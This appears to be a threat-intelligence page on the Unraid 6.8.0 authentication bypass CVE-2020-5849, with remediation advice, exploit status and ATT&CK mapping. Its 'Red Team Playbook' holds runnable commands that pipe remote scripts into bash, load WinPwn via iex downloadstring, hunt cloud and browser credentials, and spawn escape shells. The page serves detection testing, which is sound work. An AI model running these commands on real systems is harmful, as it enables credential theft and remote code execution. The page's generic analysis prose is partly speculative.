CVE-2020-5849

HIGH CISA KEV EXPLOIT TTE Zero-Day Pub 16/03 Upd 21/10

Overview

This vulnerability is an authentication bypass affecting Unraid version 6.8.0. The root cause lies in improper validation of authentication tokens or session management mechanisms within the web interface, allowing unauthorized access to restricted functionalities. The affected component is the Unraid management web service, which fails to enforce proper authentication checks on certain API endpoints.

Vulnerability Description

Unraid 6.8.0 allows authentication bypass.

Impact

An attacker can gain full administrative access to the Unraid server without any prior authentication or user interaction. This access enables execution of arbitrary commands as root, potentially leading to complete system compromise, data exposure, and disruption of storage services. The vulnerability facilitates unauthorized control over the server infrastructure, posing a critical threat to data integrity and availability in environments relying on Unraid 6.8.0.

Solution

Users should upgrade Unraid to a version later than 6.8.0 where the vendor has addressed this authentication bypass issue. Detailed patch instructions and advisories are available at the Unraid forums and Sysdream security lab announcements, including https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/. No official workaround is documented; applying the vendor-supplied update is the recommended remediation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in Unraid version 6.8.0 is characterized by an authentication bypass, which allows unauthorized users to gain access to sensitive areas of the system without proper credentials. This flaw arises from improper validation of user authentication tokens, enabling attackers to exploit the system's authentication mechanisms. The underlying issue lies in the way the application handles session management and user verification, which can be manipulated to grant access to restricted functionalities. As a result, an attacker can potentially execute commands or access data that should be protected, leading to severe security implications.

Attack vectors for this vulnerability are varied and can be executed with relative ease. An attacker could leverage social engineering techniques to trick an authorized user into revealing their session token, or they could exploit the flaw directly by crafting malicious requests that bypass authentication checks. For instance, if an attacker can intercept network traffic or manipulate requests to the server, they could gain unauthorized access to the Unraid interface. Additionally, if the system is exposed to the internet without adequate security measures, the risk of exploitation increases significantly, as attackers could automate these methods to compromise multiple systems.

The real-world impact of this vulnerability is substantial, particularly for organizations relying on Unraid for data storage and management. Successful exploitation could lead to unauthorized access to sensitive data, including personal information, intellectual property, or proprietary business information. This breach could result in data loss, financial repercussions, and reputational damage. Furthermore, organizations may face regulatory penalties if they fail to protect sensitive data adequately, especially in industries governed by strict compliance standards. The risk extends beyond immediate financial loss; it can also lead to long-term trust issues with customers and partners.

To detect and mitigate the risks associated with this authentication bypass vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Unraid system to the latest version is crucial, as patches often address known vulnerabilities. Additionally, employing network security measures such as firewalls, intrusion detection systems, and VPNs can help protect against unauthorized access attempts. Monitoring system logs for unusual access patterns or failed login attempts can also aid in early detection of potential exploitation. Furthermore, organizations should enforce strong authentication practices, such as multi-factor authentication, to enhance security and reduce the likelihood of unauthorized access.

In conclusion, the authentication bypass vulnerability in Unraid 6.8.0 poses a significant threat to the integrity and security of systems utilizing this platform. The ease of exploitation and the potential for severe consequences necessitate immediate attention from organizations using this software. By adopting robust detection and mitigation strategies, businesses can better safeguard their systems against unauthorized access and protect their sensitive information from malicious actors. As the cybersecurity landscape continues to evolve, proactive measures and continuous monitoring will be essential in defending against such vulnerabilities.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2020-5849, corresponding with the emergence of new proof-of-concept exploits leveraging the authentication bypass and subsequent arbitrary code execution in Unraid 6.8.0. Although the EPSS score shows a slight decline, our telemetry indicates increased adversary interest and activity, underscoring a growing operationalization of this vulnerability. This shift elevates the threat landscape as attackers are more actively exploiting the flaw, increasing the risk of unauthorized administrative access and full system compromise. Consequently, the risk level associated with CVE-2020-5849 should be considered heightened, reflecting its expanding exploitation footprint and the availability of sophisticated exploitation tools in the wild.

Affected Products (1)

Vendor Product Version CPE
unraid Unraid Unraid 6.8.0 cpe:2.3:o:unraid:unraid:6.8.0:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Unraid 6.8.0 Auth Bypass PHP Code Execution
exploits/linux/http/unraid_auth_bypass_exec
Nicolas CHATELAIN <[email protected]> Unknown php View

ExploitDB (1)

Title Author Type Platform Date Link
Unraid 6.8.0 - Auth Bypass PHP Code Execution (Metasploit) Metasploit remote linux - View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

4 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2020-02-10
Exploit Published (1 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
99% auth_bypass
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High
CAPEC-182 Flash Injection
40%
High Medium
CAPEC-88 OS Command Injection
40%
High High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
40%
High High
CAPEC-6 Argument Injection
40%
High High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-5849
sysdream.com
GitHub CVE x_refsource_MISC
https://sysdream.com/news/lab/
forums.unraid.net
GitHub CVE x_refsource_MISC
https://forums.unraid.net/forum/7-announcements/
sysdream.com
GitHub CVE x_refsource_MISC
https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/157275/Unraid-6.8.0-Authentication-Bypass-Arbitrary-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-5849